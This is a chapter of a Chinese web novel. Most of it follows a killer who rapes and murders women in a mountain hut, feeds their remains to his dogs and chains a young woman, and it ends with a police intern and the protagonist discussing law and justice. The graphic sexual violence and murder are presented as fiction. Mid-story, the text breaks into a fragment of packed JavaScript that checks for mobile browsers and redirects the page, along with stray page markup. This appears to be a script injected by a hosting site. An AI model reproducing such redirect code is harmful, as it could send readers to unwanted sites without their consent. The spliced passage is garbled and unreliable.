30.30.真相与正义

作品:《心灵解语师【直播中】

    他孤独,他寂寞,他压抑啊。


    一个成年男性居然没有办法释放内心的苦楚,这是谁的错,这是那些有眼无珠的女人的错。


    第三次相亲,居然被那个又老又丑还肥如猪的女人嫌弃,说他又穷又挫想得还挺美。


    “就你这副没精气神的模样,那方面……”女人厚重的红唇,上下打量的眼神带着戏谑,鄙夷道:


    “怕不是不行吧,我告诉你,就我这身段,十里八村都说我铁定能生男娃,就你这种,啧啧啧,彩礼钱都不愿多给的,谁搭理你。”


    愤怒与羞耻就像一团滚热的血涌上头来,他将脸憋得通红都没放出个屁来,面对女人强势且轻蔑的丑脸,以及周围人窃窃私语的目光,他最终落荒而逃。


    回到扈圳山中那简易的木屋,他越想越气,他花钱请媒婆给他介绍那种,任劳任怨、不贪慕虚荣、勤俭治家这种拥有基本美好品质的女孩,长相嘛他也不是什么看脸的人,反正怎么着也得看得过去,但身体要是极好的,身体不好,到时候钱全花治病上了多没必要,肯定要等生小孩了花小孩身上。


    这些要求很难么,可为什么三次相亲没有一个能达到要求的,可不就是那些女人没本事,自己看不上罢了。


    这么想来,他内心宽慰了许多,可那股躁动是无法压制的。


    养的三条狗摇着尾巴来迎他,个个都面黄肌瘦,皮包骨头似的,讨好地过来要口吃的,他一脚踹过去,三条狗又这么嗷嗷叫地跑开了。


    他朝地上啐了口,心想都是没出息的,这么大个林子都不知道自己出去捕点猎,一群死狗天天的吃白食。


    女人、女人、魂牵梦绕的女人,突然有一天闯进他的视野里。


    她楚楚可怜地说自己迷了路,娇柔百态的一举一动都像是在勾引他,那女人面对他的靠近还欲拒还迎,说到底只是欲擒故纵罢了,那便上点手段。


    只要强上了,成为他老婆不是顺理成章的事么。


    可那个女人的挣扎、谩骂,哪个都在无时无刻地刺激他的神经,他下手一次比一次狠,等睡一觉起来,旁边的赫然是一具尸首了。


    他有点害怕,到头来只是说服自己,不过是这个女人不识抬举、自作自受罢了!可尸体如何处理?


    他看着三条饿得眼冒绿光的淌着哈喇子的狗,心里有了主意。


    肉块与骨头,切好了摆三条蠢狗面前牠们却不肯吃,又煮烂了结果还是退避三舍,果然骚得很,连狗都不愿意吃,没办法,撒了些生抽遮味才肯吃。


    一天、两天……一个月过去了,没有人来找,没有人来问,任何风吹草动都没有。


    当时的恐慌回过味来是无尽的刺激,如此甜头,是尝过一次就难以抑制下一次。


    扈圳山虽然是划定的待开发山景区,可是架不住周围的人上山捡柴挖菜的,大多情况下睁一只眼闭一眼,不过现在他心里有了目标,开始锁定每一个上山的女人。


    这当然是得借着去城镇采购物资打探点消息,哪些是不好惹的,哪些是好下手的对象,得手后散布哪些消息让她们的失踪联系不到他身上。


    造谣一个女人可太容易了,甚至不用细说,自然有人帮忙润色,传着传着自然就成了真:


    东二头的媳妇,丈夫常年在外,结果跟情夫跑了;贵家老大的女儿,不肯听父母之命媒妁之言,跳河里了,衣裳还在水面飘着咧;村东那个寡妇,天天地勾男人,被周家媳妇扯着头发打,最后钻扈圳山里再也没见过人,怕是没脸皮子出来罢……


    她们的家人,都以她们为耻辱,让她们的家人朋友沦为笑柄谈资,对她们的后事避之不及都来不及,谁上赶着探寻真相呢,在那样的环境下,最不重要的就是真相,就算真有几个怀疑的,也被淹没在悠悠众口之下。


    说到底,她们没有归属,只有他愿意接纳她们。


    他看着越来越油光水滑的三条狗,每次极度的刺激冲击之后换来的是无尽的空虚,果然,没有结婚生子的人生是不完美的。


    于是,他盯上了一个空巢老太婆养着的孙女,刚成年,听说还要考上大学了,还经常帮奶奶一起上山拾柴挖菜,漂亮水灵还懂礼貌,每次见到他都会甜甜地朝他打招呼。


    多么完美的女孩,高智、美丽、年轻并且还暗恋他,更重要的是,她的奶奶是个脾气不好的老太婆,经常打骂女孩,人尽皆知的事,那女孩出走奔向美好生活简直就是顺理成章。


    计划很完美,特别是他现在经验丰富,实施起来简直不要太顺利。


    他给女孩准备了锁链,三条馋狗看见个人就疯狂流口水,都被他踹走了,他抱着女孩,畅想着未来:


    他会保护好她,他会好好养着她,她不用做任何事,和他结婚,给他生小孩就好。


    那老太婆疯了,到处说她孙女丢了,可谁都知道那女孩要打工攒学费上大学,这老太婆怕是不肯有人不伺候她了,非要别人给找回来,可当时的大学生多稀罕,就连村长也拦着老太婆发疯。


    他听说这些时听得乐呵,幸好那群人没好心办坏事,不然他媳妇揣了崽可不能随意受惊吓。


    那可真是一段蜜里调油的日子,他们二人如此深爱着彼此,他摸着她微微隆起的小腹,已经能想象到长得和她有五六分相似的男娃,甜腻腻地喊他叫爸爸。


    可有一日巡山回来,空荡荡的屋子里只有那床榻上带血的锁链预示着之前的一切都不是梦。


    她离开了?为什么?他们不是彼此深爱么!她不是都怀了他的孩子么!不对不对,是哪里搞错了,肯定是谁带走了她,是谁?是谁!


    他开始不动声色地寻找任何蛛丝马迹,每个人朝他投来的视线都足够让他疑神疑鬼,可天公不作美,一场瓢泼大雨打断了一切。


    他只能待在屋中胡思乱想,期待着门突然打开,而她满脸幸福地摸着自己隆起的肚子朝他甜甜地笑。


    三条蠢狗一直在胡乱地叫,窜来窜去,搞得他心烦意乱,于是将牠们关进了笼子里,而自己则躺在还有她身上余香的床上,面对着门口迷迷糊糊。


    天雷惊响,门悄然开了,他被惊醒,提着煤油灯往门口的方向探了探,又是一道闪电,劈亮了外面的天,而门开的罅隙里分明有一道影子!


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497551|185480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“是你嘛?媳妇!”


    他鞋都顾不得穿就冲上前开门,黑夜骤雨中只有身后的煤油灯还亮着些许暖黄的光,他的视线先是定格在对方扁平的肚子,最后回过神来想看脸时——


    脖颈处迎来一阵剧烈的风,一瞬间尖利的冰冷感穿入他的皮肉,那极其剧烈、尖锐的撕裂痛感让他张嘴都来不及呼出声来,便已经是一阵天旋地转的震动让他重重砸在地面上,模糊发暗的视野里,他还在尽力去看门口的人的面容,却什么也看不清。


    ……


    杜文心沉凝了许久,直到苏奕吃饱喝足,将垃圾收拾到一起,正擦着嘴呢,她才开口道:


    “可我始终认为,法律就是正义,为了维护真相而存在,即使一个人出于正义杀了一个坏人,那么这个人的报复心理肯定占据上风,换句话来说,如果这个人是一个好人,杀了坏人是一时痛快,之后都怕是活得惶惶不可终日。”


    苏奕点了点头,打了个饱嗝,躺在沙发上道:


    “是这样,反正我没看出凶手是谁,这得靠小杜警官的称述后的再度调查了。”


    杜文心有点犹豫,但还是问道:


    “那奕姐,那个可能是多人一起杀害这个钟某的可能……”


    苏奕揉着自己吃饱的肚子,咧唇道:


    “死者本人都不知道自己怎么死的,我肯定也不会知道,只是给你们一些思路,不破不立嘛,如果当真是多位受害者的家属一起筹划,你会认为法不责众么。”


    杜文心摇了摇头,肯定道:


    “如今的法律会给最公正的判决。”


    苏奕起身,拍了拍杜文心的肩,随后伸了个懒腰道:


    “文心,坚定你心中的想法,未来无论如何都不要动摇。


    因为一旦动摇,就会陷入无尽的内耗与自责中,既然你选择以法为尺,便要终身为令。”


    杜文心看着苏奕将所有垃圾都装到袋子里,然后将垃圾袋递给她道:


    “各人各事都有数不尽的角度与看法,而你既然选择以法律作为看待万事万物的标准,就必然会成为一名优秀的警官,何人何事都不可改变你的轨迹。”


    杜文心虽然不知道苏奕为什么突然说这些,但眼前站在灯光下的苏奕像是很权威的人生导师,周遭都不似是简陋的出租屋了,她郑重地起身,敬畏地接过苏奕手中的‘加冕’,肃然鞠躬道:


    “我知道了,谢谢奕姐!”


    苏奕‘孺子可教’地拍了拍杜文心的肩,端庄着道:


    “不错,去完成你的使命吧,小杜警官!”


    杜文心很燃地直起身,但下一秒就焉了道:


    “可是,不让实习生查这些案子,能和奕姐对接的差事还是我再三保证才得到的。”


    苏奕也退去‘成功大师’的光环,懒懒地瘫回沙发上,道:


    “小杜警官,你非常优秀的一点就是时刻铭记自己警察的身份,恪守警察的职责,拥护法律的权威,你从来不会把自己框在实习生的身份里,就像和我对接这件事,理应也不该你来,可你争取了,这就叫‘规矩是死的,人是活的’。”